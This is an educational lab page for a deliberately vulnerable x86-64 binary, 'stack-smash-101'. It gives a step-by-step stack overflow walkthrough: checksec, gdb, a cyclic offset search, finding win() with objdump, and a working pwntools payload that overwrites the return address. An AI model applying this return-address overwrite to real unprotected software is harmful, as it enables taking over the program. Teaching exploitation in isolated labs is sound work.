stack-smash-101
Intentionally vulnerable — run in an isolated VM only. No network access to production systems.
Download lab package →What’s in the package
A single statically-linked x86-64 ELF binary, a README.txt with build flags used (-fno-stack-protector -no-pie), and a win() function compiled into the binary that prints a flag string when reached.
No canary, no PIE, no RELRO. This is the simplest version of a stack overflow you’ll see — the goal is the methodology, not the difficulty.
Run this in an isolated VM. The binary is intentionally vulnerable and should never run on a system with network access to anything you care about.
Setup
unzip stack-smash-101.zip
cd stack-smash-101
chmod +x vuln
./vuln
It reads a name, prints a greeting, exits. That’s the entire visible behaviour.
Walkthrough
1. Confirm the overflow
$ checksec vuln
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
gdb + a long input confirms the crash:
(gdb) run
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV
2. Find the offset
Use a cyclic pattern instead of plain As so you can read the exact crash offset off the faulting address:
from pwn import cyclic, cyclic_find
print(cyclic(100))
Feed the 100-byte pattern in, check what ends up in RIP at the crash, then cyclic_find() that value to get
the exact byte offset to the saved return address.
3. Locate win()
$ objdump -d vuln | grep -A1 "<win>:"
0000000000401196 <win>:
Static binary, no PIE — that address is fixed and won’t change between runs.
4. Build the payload
from pwn import *
offset = 72 # whatever you found in step 2
win_addr = 0x401196
payload = b'A' * offset + p64(win_addr)
p = process('./vuln')
p.sendline(payload)
p.interactive()
Why this works, not just that it works
The saved return address sitting on the stack is just data until the function returns — at that point the
CPU trusts whatever 8 bytes are sitting where it expects that address to be. Overflowing past the buffer and
past any saved registers lets you overwrite exactly that value. No protections means nothing checks it’s
still pointing somewhere sane before the ret executes.
Once this version makes sense, the natural next step is the same exploit against a binary with a canary enabled — same overflow, different obstacle.